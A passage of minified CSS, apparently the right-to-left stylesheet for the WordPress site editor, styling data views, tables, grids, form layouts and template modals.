430px){.dataviews-view-grid__group-header{padding-left:24px;padding-right:24px}}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=article],.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=article] .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{display:flex;flex:0 0 auto;gap:4px;white-space:nowrap;width:max-content}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions .components-button,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{position:relative;z-index:1}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>div,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){flex:0;overflow:hidden;width:0}.dataviews-view-list div[role=article]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child){flex-basis:min-content;overflow:unset;width:auto}@media (hover:none){.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){flex-basis:min-content;overflow:unset;width:auto}}.dataviews-view-list div[role=article].is-selected.is-selected,.dataviews-view-list div[role=article].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=article].is-selected.is-selected+div[role=row],.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=article]:not(.is-selected) .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=article]:not(.is-selected).is-hovered,.dataviews-view-list div[role=article]:not(.is-selected):focus-within,.dataviews-view-list div[role=article]:not(.is-selected):hover,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#fff;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-list__group-header{color:#1e1e1e;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 24px}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:right}.dataviews-view-table td,.dataviews-view-table th{padding:12px}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:left}.dataviews-view-table td.dataviews-view-table__actions-column--sticky,.dataviews-view-table th.dataviews-view-table__actions-column--sticky{background-color:#fff;left:0;position:sticky}.dataviews-view-table td.dataviews-view-table__actions-column--stuck:after,.dataviews-view-table th.dataviews-view-table__actions-column--stuck:after{background-color:#f0f0f0;bottom:0;content:"";display:block;position:absolute;right:0;top:0;width:1px}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-left:0}.dataviews-view-table td.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper,.dataviews-view-table th.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper{max-width:auto;min-width:auto}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-right:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered,.dataviews-view-table tr.is-hovered .dataviews-view-table__actions-column--sticky{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table tr.is-selected .dataviews-view-table__actions-column--sticky{background-color:color-mix(in srgb,rgb(var(--wp-admin-theme-color--rgb)) 4%,#fff)}.dataviews-view-table tr.is-selected:hover .dataviews-view-table__actions-column--sticky{background-color:color-mix(in srgb,rgb(var(--wp-admin-theme-color--rgb)) 8%,#fff)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead tr .components-checkbox-control__input.components-checkbox-control__input{opacity:1}.dataviews-view-table thead th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-right:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-right:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px;white-space:nowrap}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-end{justify-content:flex-end}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-center{justify-content:center}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-right:4px}.dataviews-view-table .dataviews-view-table__actions-column{white-space:nowrap;width:auto}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-right:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-left:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{background-color:#fff;border-radius:4px;flex-shrink:0;max-width:60px;overflow:hidden;position:relative}.dataviews-column-primary__media img{height:100%;object-fit:cover;width:100%}.dataviews-column-primary__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.dataviews-view-table__cell-content-wrapper:not(.dataviews-column-primary__media),.dataviews-view-table__primary-column-content:not(.dataviews-column-primary__media){max-width:80ch;min-width:15ch}.dataviews-view-table__group-header-row .dataviews-view-table__group-header-cell{color:#1e1e1e;font-weight:500;padding:12px 48px}.dataviews-view-table col[class^=dataviews-view-table__col-]:not(.dataviews-view-table__col-primary){width:1%}.dataviews-view-picker-grid .dataviews-view-picker-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-actions{padding:8px 0 4px}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field--clickable{width:fit-content}.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{color:#1e1e1e}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after,.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-picker-grid:focus-visible[aria-activedescendant]{outline:none}.dataviews-view-picker-grid:focus-visible [data-active-item=true]{outline:2px solid var(--wp-admin-theme-color)}.dataviews-view-picker-grid .dataviews-selection-checkbox{top:8px!important}.dataviews-view-picker-grid .dataviews-selection-checkbox input{pointer-events:none}.dataviews-view-picker-grid .dataviews-view-picker-grid__media{aspect-ratio:1/1;background-color:#fff;border-radius:4px;position:relative;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;pointer-events:none;position:absolute;right:0;top:0;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field{align-items:center;min-height:24px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-name{color:#757575;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:35%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field:not(:has(.dataviews-view-picker-grid__field-value:not(:empty))){display:none}.dataviews-view-picker-grid .dataviews-view-picker-grid__badge-fields:not(:empty){padding-bottom:12px}.dataviews-view-picker-grid__field-value:empty,.dataviews-view-picker-grid__field:empty{display:none}.dataviews-view-picker-grid__card .dataviews-selection-checkbox{position:absolute;right:8px;top:-9999em;z-index:1}@media (hover:none){.dataviews-view-picker-grid__card .dataviews-selection-checkbox{top:8px}}.dataviews-view-picker-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-picker-grid__media--clickable{cursor:pointer}.dataviews-view-picker-grid-group__header{color:#1e1e1e;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 48px}.dataviews-controls__datetime{border:none;padding:0}.dataviews-controls__relative-date-number,.dataviews-controls__relative-date-unit{flex:1 1 50%}.dataviews-controls__date input[type=date]::-webkit-calendar-picker-indicator,.dataviews-controls__date input[type=date]::-webkit-inner-spin-button{-webkit-appearance:none;display:none}.dataviews-controls__date-preset{border:1px solid #ddd}.dataviews-controls__date-preset:active{background-color:#000}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;width:38%}.dataforms-layouts-panel__field-label--label-position-side{align-self:center}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control .components-button{max-width:100%;min-height:32px;text-align:right;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control.components-button.is-link[aria-disabled=true]{text-decoration:none}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.dataforms-layouts-panel__modal-footer{margin-top:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;width:38%}.dataforms-layouts-regular__field-label--label-position-side{align-self:center}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-card__field-header-label{font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:15px;font-weight:500;line-height:20px}.dataforms-layouts-card__field{width:100%}.dataforms-layouts-card__field-description{color:#757575;display:block;font-size:13px;margin-bottom:16px}.dataforms-layouts-card__field-summary{display:flex;flex-direction:row;gap:16px}.dataforms-layouts-row__field-control{width:100%}.dataforms-layouts__wrapper{font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px}:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.fields-create-template-part-modal{z-index:1000001}.fields-create-template-part-modal__area-fieldset{border:0;margin:0;padding:0}.fields-create-template-part-modal__area-radio-group{border:1px solid #949494;border-radius:2px}.fields-create-template-part-modal__area-radio-wrapper{align-items:center;display:grid;grid-template-columns:min-content 1fr min-content;padding:12px;position:relative;grid-gap:4px 8px;color:#1e1e1e}.fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{border-top:1px solid #949494}.fields-create-template-part-modal__area-radio-wrapper input[type=radio]{opacity:0;position:absolute}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){z-index:1}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{color:var(--wp-admin-theme-color)}.fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){pointer-events:none}.fields-create-template-part-modal__area-radio-label:before{content:"";inset:0;position:absolute}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{cursor:pointer}input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:4px solid #0000}.fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{fill:currentColor}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{opacity:0}.fields-create-template-part-modal__area-radio-description{color:#757575;font-size:12px;grid-column:2/3;line-height:normal;margin:0;text-wrap:pretty}input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{color:inherit}.fields-controls__slug{border:0;margin:0;padding:0}.fields-controls__slug .fields-controls__slug-external-icon{margin-right:5ch}.fields-controls__slug .fields-controls__slug-input input.components-input-control__input{padding-inline-start:0!important}.fields-controls__slug .fields-controls__slug-help-link{word-break:break-word}.fields-controls__slug .fields-controls__slug-help{display:flex;flex-direction:column}.fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{font-weight:600}.fields-controls__featured-image-placeholder{background:#fff linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:2px;box-shadow:inset 0 0 0 1px #0003;display:inline-block;padding:0}.fields-controls__featured-image-title{color:#1e1e1e;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.fields-controls__featured-image-image{align-self:center;border-radius:2px;height:100%;width:100%}.fields-controls__featured-image-container .fields-controls__featured-image-placeholder{margin:0}.fields-controls__featured-image-container span{margin-left:auto}fieldset.fields-controls__featured-image{border:0;margin:0;padding:0}fieldset.fields-controls__featured-image .fields-controls__featured-image-container{border:1px solid #ddd;border-radius:2px;cursor:pointer;padding:8px 12px}fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{background-color:#f0f0f0}fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{height:24px;width:24px}fieldset.fields-controls__featured-image span{align-self:center;text-align:start;white-space:nowrap}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{height:fit-content;padding:0}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{border:0;color:unset}fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{place-self:end}.dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{height:16px;width:16px}.dataviews-view-grid__media .fields-controls__featured-image-image,.dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-image,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{border-radius:4px;display:block;height:100%;width:100%}.dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{background:#f0f0f0;box-shadow:none}.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{height:32px;width:32px}.fields-controls__parent,.fields-controls__password,.fields-controls__template{border:0;margin:0;padding:0}.fields-controls__template-modal{z-index:1000001}.fields-controls__template-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:4}}.fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.fields-field__title>span:first-child{display:block;flex-grow:0;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.fields-field__pattern-title span:first-child{flex:1}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{max-height:224px;overflow-y:auto}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:right;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}@media (min-width:960px){.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;display:flex;flex-direction:column;justify-content:center;outline:1px solid #0000;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:#0000;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:#0000;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column:1/-1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-canvas-loader{align-items:center;display:flex;height:100%;justify-content:center;opacity:0;position:absolute;right:0;top:0;width:100%}@media not (prefers-reduced-motion){.edit-site-canvas-loader{animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__wrapper{display:block;max-width:100%;width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-font-size__item{line-break:anywhere;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-font-size__item-value{color:#757575}.edit-site-global-styles-screen{margin:12px 16px 